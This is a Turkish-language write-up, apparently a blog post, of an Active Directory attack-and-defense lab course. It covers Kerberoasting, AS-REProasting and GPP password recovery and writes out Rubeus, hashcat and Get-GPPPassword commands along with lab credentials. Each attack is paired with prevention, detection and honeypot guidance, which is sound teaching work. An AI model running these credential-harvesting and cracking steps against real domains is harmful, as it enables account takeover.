&lt;li&gt;Coercing (zorlama) saldırıları &amp;amp; Kerberos Unconstrained Delegation&lt;/li&gt;
&lt;li&gt;Object ACLs (nesne erişim kontrol listeleri)&lt;/li&gt;
&lt;li&gt;PKI Yanlış Yapılandırmaları — ESC1&lt;/li&gt;
&lt;li&gt;PKI Yanlış Yapılandırmaları — ESC8 (Coercing + Sertifikalar birleşimi)&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Not:&lt;/strong&gt; ESC8 son bölümde (Skills Assessment) pratik olarak karşımıza çıkacak — bu yüzden haritada ayrı bir "ana başlık" olarak görünmüyor ama içeriğe dahil.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Lab Ortamının Yapısı
&lt;/h4&gt;

&lt;p&gt;Kurs, pratik yapman için izole bir sanal ortam sağlıyor. Senaryo şu: &lt;strong&gt;İnfa&lt;/strong&gt; adında, hiçbir özel yetkisi olmayan sıradan bir AD kullanıcısının hesabı zaten ele geçirilmiş ve WS001 (Windows 10) makinesinde kod çalıştırma yetkisine sahipsin.&lt;/p&gt;

&lt;p&gt;Ortamdaki makineler:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Makine&lt;/th&gt;
&lt;th&gt;IP&lt;/th&gt;
&lt;th&gt;Rol&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DC1&lt;/td&gt;
&lt;td&gt;172.16.18.3&lt;/td&gt;
&lt;td&gt;Domain Controller&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DC2&lt;/td&gt;
&lt;td&gt;172.16.18.4&lt;/td&gt;
&lt;td&gt;Domain Controller (ikinci)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Server01&lt;/td&gt;
&lt;td&gt;172.16.18.10&lt;/td&gt;
&lt;td&gt;Sunucu&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PKI&lt;/td&gt;
&lt;td&gt;172.16.18.15&lt;/td&gt;
&lt;td&gt;Sertifika sunucusu&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WS001&lt;/td&gt;
&lt;td&gt;DHCP / 172.16.18.25&lt;/td&gt;
&lt;td&gt;Windows 10 — saldırgan başlangıç noktası&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kali Linux&lt;/td&gt;
&lt;td&gt;DHCP / 172.16.18.20&lt;/td&gt;
&lt;td&gt;Saldırgan makinesi&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Bağlantı Yöntemleri
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;WS001'e RDP ile bağlanma&lt;/strong&gt; (kullanıcı: &lt;code&gt;infa&lt;/code&gt;, şifre: &lt;code&gt;mvp123&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xfreerdp /u:krysthal&lt;span class="se"&gt;\i&lt;/span&gt;nfa /p:mvp123 /v:HEDEF_IP /dynamic-resolution
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Kali'ye SSH ile bağlanma&lt;/strong&gt; (varsayılan &lt;code&gt;kali/kali&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh kali@HEDEF_IP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kali'de RDP de aktif — bazı bölümlerde Kali hedef makine olduğunda RDP tercih ediliyor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xfreerdp /v:HEDEF_IP /u:kali /p:kali /dynamic-resolution
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Dosya taşıma (WS001 ↔ Kali arası):&lt;/strong&gt; WS001 üzerinde bir SMB paylaşımı var. Kali'den &lt;code&gt;smbclient&lt;/code&gt; ile bağlanabilirsin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbclient &lt;span class="se"&gt;\\&lt;/span&gt;HEDEF_IP&lt;span class="se"&gt;\S&lt;/span&gt;hare &lt;span class="nt"&gt;-U&lt;/span&gt; krysthal/administrator%mvp123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bağlandıktan sonra &lt;code&gt;put&lt;/code&gt; (yükle) veya &lt;code&gt;get&lt;/code&gt; (indir) komutlarıyla dosya transferi yapılır.&lt;/p&gt;

&lt;h3&gt;
  
  
  BÖLÜM 3: KERBEROASTING
&lt;/h3&gt;

&lt;p&gt;AD saldırılarının en klasiklerinden biri.&lt;/p&gt;

&lt;p&gt;Önce bir kavramı hatırlayalım: &lt;strong&gt;SPN (Service Principal Name)&lt;/strong&gt; AD'de bir servis örneğini benzersiz şekilde tanımlayan kimliktir. Kerberos, SPN'leri kullanarak bir servis örneğini, o servisin çalıştığı hesapla ilişkilendirir. Bu sayede bir istemci, hesabın adını bilmeden bile o servisten kimlik doğrulaması isteyebilir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kritik nokta:&lt;/strong&gt; Bir istemci bir servise erişmek için TGS (Ticket Granting Service) bileti istediğinde, bu bilet &lt;strong&gt;servis hesabının NTLM parola hash'i ile şifrelenir.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;İşte Kerberoasting tam olarak burayı hedefliyor:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Saldırgan bir servis bileti (TGS) alır&lt;/li&gt;
&lt;li&gt;Bu bileti &lt;strong&gt;çevrimdışı&lt;/strong&gt; (offline) olarak kırmaya çalışır — yani ağ trafiği üretmeden, kendi bilgisayarında&lt;/li&gt;
&lt;li&gt;Bilet açılırsa, açan parola = servis hesabının gerçek parolasıdır&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Saldırının başarısı &lt;strong&gt;iki şeye bağlı:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Servis hesabının parolasının gücü&lt;/li&gt;
&lt;li&gt;Biletin şifrelendiği algoritma: &lt;strong&gt;AES&lt;/strong&gt; (yavaş kırılır, güvenli), &lt;strong&gt;RC4&lt;/strong&gt; (hızlı kırılır, zayıf), &lt;strong&gt;DES&lt;/strong&gt; (15+ yıllık eski sistemlerde, artık nadir)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Önemli bir detay: normalde KDC en güçlü desteklenen algoritmayı kullanır, ama &lt;strong&gt;saldırganlar bunu RC4'e düşürebilir&lt;/strong&gt; (downgrade saldırısı) — bu da kırma işini kolaylaştırır.&lt;/p&gt;




&lt;h4&gt;
  
  
  Saldırı Adımları (Attack Path)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;1. Adım — Kırılabilir biletleri toplama:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Rubeus&lt;/code&gt; aracı kullanılıyor. Kullanıcı belirtilmeden çalıştırıldığında, SPN kayıtlı &lt;strong&gt;her&lt;/strong&gt; hesap için bilet çıkarır (büyük ortamlarda yüzlerce olabilir):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Rubeus.exe kerberoast /outfile:spn.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lab ortamında bu komut çalıştırıldığında, &lt;code&gt;krysthal.local&lt;/code&gt; domain'inde &lt;strong&gt;3 kerberoastable kullanıcı&lt;/strong&gt; bulunuyor. Örnek çıktıda &lt;code&gt;Administrator&lt;/code&gt; hesabı için &lt;code&gt;http/pki1&lt;/code&gt; SPN'i ve &lt;code&gt;RC4_HMAC_DEFAULT&lt;/code&gt; şifreleme tipi görülüyor — yani bu hesap &lt;strong&gt;RC4 ile korunuyor&lt;/strong&gt;, kırılması kolay demek.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Adım — Çevrimdışı kırma:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Elde edilen &lt;code&gt;.txt&lt;/code&gt; dosyası Kali makinesine taşınıp &lt;code&gt;hashcat&lt;/code&gt; ile kırılıyor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 13100 &lt;span class="nt"&gt;-a&lt;/span&gt; 0 spn.txt passwords.txt &lt;span class="nt"&gt;--outfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"cracked.txt"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;-m 13100&lt;/code&gt; parametresi hashcat'e "bu bir Kerberoastable TGS hash'i" diyor. Sözlük saldırısı (dictionary attack) ile parola deneniyor ve lab örneğinde birkaç saniye içinde parola bulunuyor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Alternatif araç:&lt;/strong&gt; &lt;code&gt;John the Ripper&lt;/code&gt; ile de aynı iş yapılabilir (&lt;code&gt;--format=krb5tgs&lt;/code&gt;).&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Önemli çıkarım:&lt;/strong&gt; Bu saldırının tüm gücü, servis hesaplarının genellikle &lt;strong&gt;zayıf ve eski parolalara&lt;/strong&gt; sahip olmasından geliyor — çünkü kimse bir servis hesabının parolasını düzenli değiştirmeyi hatırlamıyor, oysa normal kullanıcı hesapları parola politikasına tabi.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h4&gt;
  
  
  Önleme (Prevention)
&lt;/h4&gt;

&lt;p&gt;Bu saldırıya karşı üç savunma katmanı var:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1) Güçlü parolalar:&lt;/strong&gt; Servis hesaplarının parolaları &lt;strong&gt;100+ karakter rastgele&lt;/strong&gt; olmalı (AD'de izin verilen maksimum 127 karakter). Bu, kırmayı pratik olarak imkansız hale getirir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2) gMSA (Group Managed Service Accounts):&lt;/strong&gt; Bu, AD'nin otomatik yönettiği özel bir servis hesabı türü. Şu avantajları var:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Belirli bir sunucuya bağlıdır, başka hiçbir yerde kullanılamaz&lt;/li&gt;
&lt;li&gt;AD, parolasını otomatik olarak 127 karakterlik rastgele değerle döndürür&lt;/li&gt;
&lt;li&gt;Dezavantajı: Tüm uygulamalar bunu desteklemiyor (öncelikle IIS, SQL gibi Microsoft servisleriyle uyumlu)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3) Temizlik disiplini:&lt;/strong&gt; İhtiyacı olmayan hesaplara SPN atanmamalı, artık kullanılmayan servislere ait SPN'ler düzenli temizlenmeli.&lt;/p&gt;




&lt;h4&gt;
  
  
  Tespit (Detection)
&lt;/h4&gt;

&lt;p&gt;TGS istendiğinde &lt;strong&gt;Event ID 4769&lt;/strong&gt; loglanır. Ama burada bir sorun var: bu event, bir kullanıcı normal şekilde bir servise bağlandığında da üretilir — yani &lt;strong&gt;hacmi devasa&lt;/strong&gt; ve tek başına güvenilir bir tespit yöntemi değil.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pratik tespit stratejileri:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Eğer ortamınızda &lt;strong&gt;sadece AES biletleri&lt;/strong&gt; üretiliyorsa (yani her şey AES destekliyorsa), Event ID 4769'u izlemek çok iyi bir gösterge olur.&lt;/li&gt;
&lt;li&gt;Eğer bilet seçeneklerinde &lt;strong&gt;RC4&lt;/strong&gt; görülüyorsa (bu varsayılan yapılandırma değil), bu mutlaka araştırılmalı.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Rubeus&lt;/code&gt; gibi araçlar varsayılan olarak SPN'i olan &lt;strong&gt;her&lt;/strong&gt; hesap için bilet çıkarır — bu yüzden &lt;strong&gt;"bir dakika içinde 10'dan fazla bilet isteği"&lt;/strong&gt; gibi bir eşik belirleyip alarm kurmak etkili bir yöntem. Bu kuralı hem istek yapan kullanıcıya hem de isteğin geldiği makineye göre gruplandırmak gerekir.&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  Honeypot (Tuzak Hesap) Yaklaşımı
&lt;/h4&gt;

&lt;p&gt;Bu bölümün en zekice kısmı: bir &lt;strong&gt;tuzak kullanıcı&lt;/strong&gt; oluşturmak. Bu hesap gerçek bir işleve sahip olmadığından, normalde hiç servis bileti üretilmemeli — dolayısıyla bu hesap için &lt;strong&gt;herhangi bir&lt;/strong&gt; bilet isteği neredeyse kesinlikle kötü niyetlidir.&lt;/p&gt;

&lt;p&gt;Tuzak hesabın etkili olması için gereken 4 kriter:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Eski bir hesap olmalı&lt;/strong&gt; — ideal olarak artık kullanılmıyormuş gibi görünmeli (gelişmiş saldırganlar yeni hesaplara güvenmez, çünkü güçlü parolalı olabilirler ve honeypot şüphesi taşırlar)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Parolası uzun süredir değiştirilmemiş olmalı&lt;/strong&gt; — ideal olarak 2+ yıl, hatta 5+ yıl (ama yine de saldırganın kıramayacağı kadar güçlü olmalı!)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bir miktar yetkiye sahip olmalı&lt;/strong&gt; — yoksa bilet almak saldırgan için ilgi çekici olmaz&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Meşru görünen bir SPN'e sahip olmalı&lt;/strong&gt; — IIS veya SQL hesabı gibi yaygın türler idealdir&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Ekstra fayda:&lt;/strong&gt; Bu hesapla ilgili herhangi bir aktivite (başarılı veya başarısız oturum açma denemesi) şüpheli sayılır ve alarm verilmelidir.&lt;/p&gt;

&lt;h3&gt;
  
  
  BÖLÜM 4: AS-REPROASTING
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Açıklama
&lt;/h4&gt;

&lt;p&gt;Bu saldırı, Kerberoasting'e kavramsal olarak çok benziyor ama farklı bir zayıflığı hedefliyor: &lt;strong&gt;"Do not require Kerberos preauthentication"&lt;/strong&gt; (Kerberos ön kimlik doğrulaması gerektirmez) özelliği açık olan kullanıcı hesapları.&lt;/p&gt;

&lt;p&gt;Kerberos'ta normalde bir kullanıcı TGT istediğinde, önce kendi parolasıyla şifrelenmiş bir zaman damgası göndererek "gerçekten ben olduğumu" kanıtlar (bu &lt;strong&gt;ön kimlik doğrulama&lt;/strong&gt;'dır). Ama bu özellik bir hesapta &lt;strong&gt;kapatılmışsa&lt;/strong&gt;, KDC hiçbir kanıt istemeden doğrudan bir AS-REP (Authentication Server Response) gönderir — ve bu yanıtın bir kısmı &lt;strong&gt;kullanıcının parola hash'i ile şifrelenmiştir.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yani mantık aynı: bir kriptografik materyal elde et → çevrimdışı kır → parola çıkar. Farkı, Kerberoasting'in &lt;strong&gt;servis hesaplarını&lt;/strong&gt;, AS-REProasting'in ise &lt;strong&gt;ön kimlik doğrulaması kapalı kullanıcı hesaplarını&lt;/strong&gt; hedeflemesi. Bu saldırının başarısı da yine tamamen &lt;strong&gt;kırılacak hesabın parola gücüne&lt;/strong&gt; bağlı.&lt;/p&gt;




&lt;h4&gt;
  
  
  Saldırı Adımları (Attack)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;1. Adım — Hash'i elde etme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yine &lt;code&gt;Rubeus&lt;/code&gt; kullanılıyor, ama bu sefer &lt;code&gt;asreproast&lt;/code&gt; eylemiyle. Kullanıcı belirtilmezse, ön kimlik doğrulaması kapalı &lt;strong&gt;her&lt;/strong&gt; hesap için hash çıkarır:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Rubeus.exe asreproast /outfile:asrep.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lab ortamında bu özelliğe sahip tek kullanıcı &lt;strong&gt;mdr&lt;/strong&gt;. Rubeus, &lt;code&gt;krysthal.local\mdr&lt;/code&gt; için ön-kimlik-doğrulamasız bir AS-REQ oluşturuyor ve karşılığında gelen hash'i &lt;code&gt;asrep.txt&lt;/code&gt; dosyasına yazıyor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Adım — hashcat için formatlama (önemli bir detay!):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Rubeus'un çıkardığı ham hash, hashcat'in tanıyabilmesi için küçük bir düzenleme gerektiriyor: &lt;code&gt;$krb5asrep$&lt;/code&gt; ile hash arasına &lt;strong&gt;&lt;code&gt;23$&lt;/code&gt;&lt;/strong&gt; eklenmesi gerekiyor. Bu, hashcat'e hangi Kerberos etype'inin (23 = RC4-HMAC) kullanıldığını söylüyor. Bu adımı atlarsan hashcat hash'i tanımaz.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Adım — Çevrimdışı kırma:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 18200 &lt;span class="nt"&gt;-a&lt;/span&gt; 0 asrep.txt passwords.txt &lt;span class="nt"&gt;--outfile&lt;/span&gt; asrepcrack.txt &lt;span class="nt"&gt;--force&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Buradaki &lt;code&gt;-m 18200&lt;/code&gt;, Kerberoasting'deki &lt;code&gt;13100&lt;/code&gt;'den farklı — çünkü bu &lt;strong&gt;farklı bir hash türü&lt;/strong&gt; (AS-REP, TGS değil). &lt;code&gt;--force&lt;/code&gt; parametresi bazı donanım uyarılarını bastırmak için ekleniyor.&lt;/p&gt;

&lt;p&gt;Lab örneğinde parola birkaç saniyede kırılıyor ve sonuç &lt;strong&gt;mvp123&lt;/strong&gt; olarak çıkıyor — yani mdr kullanıcısının gerçek parolası bu.&lt;/p&gt;




&lt;h4&gt;
  
  
  Önleme (Prevention)
&lt;/h4&gt;

&lt;p&gt;Yine parola gücü meselesi ama burada ek bir incelik var:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Bu özelliği sadece gerçekten gerekliyse aç.&lt;/strong&gt; Üç ayda bir hesapları gözden geçirip bu özelliğin gereksiz yere açık kalmadığından emin olmalısınız.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kritik gözlem:&lt;/strong&gt; Bu özellik genellikle &lt;strong&gt;sıradan kullanıcı hesaplarında&lt;/strong&gt; bulunur (servis hesaplarında değil), ve sıradan kullanıcılar SPN'li servis hesaplarına göre &lt;strong&gt;çok daha zayıf parolalar&lt;/strong&gt; seçme eğilimindedir. Bu da AS-REProasting'i pratikte Kerberoasting'den bile daha tehlikeli yapabilir.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Çözüm:&lt;/strong&gt; Bu özelliğe sahip kullanıcılar için ayrı bir parola politikası tanımlayın — &lt;strong&gt;en az 20 karakter&lt;/strong&gt; zorunluluğu getirin.&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  Tespit (Detection)
&lt;/h4&gt;

&lt;p&gt;Rubeus çalıştırıldığında &lt;strong&gt;Event ID 4768&lt;/strong&gt; üretilir (Kerberos Authentication ticket'ın oluşturulduğunu gösterir).&lt;/p&gt;

&lt;p&gt;Yine aynı sorun: bu event, Kerberos ile kimlik doğrulayan &lt;strong&gt;her&lt;/strong&gt; kullanıcı için üretiliyor, yani hacmi çok yüksek. Ama Kerberoasting'den farklı olarak burada &lt;strong&gt;ekstra bir korelasyon imkanı&lt;/strong&gt; var:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Event'te kullanıcının &lt;strong&gt;nereden&lt;/strong&gt; kimlik doğruladığı bilgisi var. Bu bilgiyi, bilinen normal giriş noktalarıyla karşılaştırıp anormal hash çıkarma girişimlerini tespit edebilirsiniz.&lt;/li&gt;
&lt;li&gt;Belirli bir IP adresini izlemek zor olabilir (kullanıcı ofisler arasında hareket edebilir), ama &lt;strong&gt;VLAN seviyesinde&lt;/strong&gt; izleme yapıp, o VLAN dışından gelen her isteği alarm olarak işaretlemek pratik bir yöntem.&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  Honeypot (Tuzak Hesap)
&lt;/h4&gt;

&lt;p&gt;Bu saldırı için honeypot kullanıcı oluşturmak mükemmel bir tespit opsiyonudur. Bu hesap, ortamda gerçek bir kullanımı/ihtiyacı olmayan bir kullanıcı olmalıdır — böylece bu hesap için yapılan herhangi bir giriş denemesi büyük olasılıkla kötü niyetlidir ve inceleme gerektirir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ancak kritik bir uyarı:&lt;/strong&gt; Eğer honeypot kullanıcı, ortamdaki &lt;strong&gt;"Kerberos Pre-Authentication kapalı"&lt;/strong&gt; özelliğine sahip &lt;strong&gt;tek hesapsa&lt;/strong&gt;, bu durumda daha iyi tespit yöntemleri tercih edilmelidir. Çünkü bu çok bariz olur — gelişmiş bir tehdit aktörü (advanced threat actor), ortamda bu özelliğe sahip yalnızca bir hesap olduğunu görünce bunun bir tuzak olduğunu tahmin eder ve &lt;strong&gt;bilerek bu hesapla etkileşime girmekten kaçınır.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Gerçek dünya anekdotu:&lt;/strong&gt; Yazar, geçmişte bir organizasyondan şunu duyduğunu paylaşıyor: O organizasyon, uygulama gereksinimi nedeniyle bu özelliğe sahip &lt;strong&gt;sadece bir&lt;/strong&gt; hesaba ihtiyaç duyuyordu ve "madem tek hesabımız var, saldırganlar bunun honeypot olduğunu düşünüp uzak durur" mantığıyla bir tür güvenlik sağlamaya çalışıyorlardı (security through obscurity — belirsizlik yoluyla güvenlik). &lt;strong&gt;Yazarın yorumu:&lt;/strong&gt; Bu bazı durumlarda gerçekten işe yarayabilir, &lt;strong&gt;ama&lt;/strong&gt; bir organizasyonun güvenlik duruşunu böyle "ufak bir umut ışığına" bağlamak doğru bir strateji değildir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;İyi bir honeypot kullanıcısı için kriterler:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hesap &lt;strong&gt;eski&lt;/strong&gt; bir kullanıcı olmalı, ideal olarak artık kullanılmıyormuş gibi görünmeli (gelişmiş saldırganlar yeni hesaplar için bilet istemez çünkü güçlü parola ve honeypot olma ihtimali yüksektir).&lt;/li&gt;
&lt;li&gt;Servis hesabı ise parola &lt;strong&gt;2+ yıllık&lt;/strong&gt; olmalı, ama &lt;strong&gt;sıradan kullanıcı hesabıysa parola 1 yıldan eski olmamalı&lt;/strong&gt; — çünkü normal kullanıcı hesaplarının çok eski parola yaşı şüphe çekebilir.&lt;/li&gt;
&lt;li&gt;Hesabın, parola değiştirildikten &lt;strong&gt;sonra&lt;/strong&gt; giriş kayıtları olması lazım. Yoksa "son parola değişikliği = son giriş tarihi" gibi bir çelişki, hesabın sahte olduğunu belli eder.&lt;/li&gt;
&lt;li&gt;Hesabın bir miktar &lt;strong&gt;yetkiye&lt;/strong&gt; sahip olması gerekir — yoksa parolasını kırmak saldırgan için cazip olmaz.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Lab örneği:&lt;/strong&gt; Doküman, playground ortamında bu kriterleri &lt;strong&gt;&lt;code&gt;svc-iam&lt;/code&gt;&lt;/strong&gt; adlı kullanıcıya uyguluyor — bu hesap "muhtemelen eski, artık kullanılmayan bir IAM (Identity and Access Management) hesabı kalıntısı" olarak tanımlanıyor. Yukarıdaki tüm honeypot kriterleri bu hesaba uygulandığında, bu hesap için herhangi bir TGT isteği geldiğinde alarm üretilmesi öneriliyor.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Kerberoasting vs AS-REProasting hızlı karşılaştırma:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fst7rz2glzn0wt741vrmy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fst7rz2glzn0wt741vrmy.png" alt=" " width="746" height="271"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  BÖLÜM 5: GPP ŞİFRELERİ (GROUP POLICY PREFERENCES PASSWORDS)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Açıklama (Description)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;SYSVOL&lt;/strong&gt;'u hatırlayalım  1. Bölümde bahsetmiştik: tüm Domain Controller'larda bulunan, oturum açma betiklerini ve grup politikası verilerini içeren paylaşılan bir ağ klasörü. Tüm grup politikaları şu yolda saklanır: &lt;code&gt;\\&amp;lt;DOMAIN&amp;gt;\SYSVOL\&amp;lt;DOMAIN&amp;gt;\Policies\&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Microsoft, &lt;strong&gt;Windows Server 2008&lt;/strong&gt; ile &lt;strong&gt;Group Policy Preferences (GPP)&lt;/strong&gt; özelliğini tanıttı. Bu özellik, belirli senaryolarda (örneğin bir hizmet hesabı oluşturma, yerel yönetici hesabı ayarlama, zamanlanmış görev tanımlama) &lt;strong&gt;kimlik bilgilerinin saklanmasına&lt;/strong&gt; izin veriyordu — ve bunlar SYSVOL'daki politika klasöründe XML dosyaları içinde tutuluyordu.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;İşte asıl felaket burada:&lt;/strong&gt; AD'nin bu XML dosyalarındaki parolaları şifrelemek için kullandığı &lt;strong&gt;AES anahtarı, tüm Active Directory ortamlarında aynıydı&lt;/strong&gt; — ve Microsoft bu anahtarı &lt;strong&gt;kendi resmi dokümantasyonunda (MSDN) yayınladı!&lt;/strong&gt; Yani şifreleme anahtarı herkese açıktı.&lt;/p&gt;

&lt;p&gt;Bunu daha da kötü yapan şey: SYSVOL klasörüne domain'deki &lt;strong&gt;tüm "Authenticated Users"&lt;/strong&gt; (kullanıcılar ve bilgisayarlar dahil, yani neredeyse herkes) erişebiliyor. Sonuç: kimlik bilgisi = şifreli metin + herkese açık anahtar → &lt;strong&gt;herkes tarafından çözülebilir parola.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;XML dosyasında parola, &lt;code&gt;cpassword&lt;/code&gt; adlı bir özellik (property) içinde saklanıyor.&lt;/p&gt;




&lt;h4&gt;
  
  
  Saldırı Adımları (Attack)
&lt;/h4&gt;

&lt;p&gt;Bu saldırı için &lt;code&gt;PowerSploit&lt;/code&gt; araç setinden &lt;strong&gt;&lt;code&gt;Get-GPPPassword&lt;/code&gt;&lt;/strong&gt; fonksiyonu kullanılıyor. Bu fonksiyon, SYSVOL'daki Policies klasöründeki &lt;strong&gt;tüm&lt;/strong&gt; XML dosyalarını otomatik olarak tarar, &lt;code&gt;cpassword&lt;/code&gt; özelliğine sahip olanları bulur ve &lt;strong&gt;otomatik olarak çözer:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Import-Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\Get-GPPPassword.ps1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-GPPPassword&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lab ortamında çalıştırıldığında şu sonuç çıkıyor:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Kullanıcı:&lt;/strong&gt; &lt;code&gt;svc-iis&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Parola:&lt;/strong&gt; &lt;code&gt;krysthal@123&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dosya konumu:&lt;/strong&gt; &lt;code&gt;\\krysthal.LOCAL\SYSVOL\krysthal.local\Policies\{...}\Machine\Preferences\Groups\Groups.xml&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

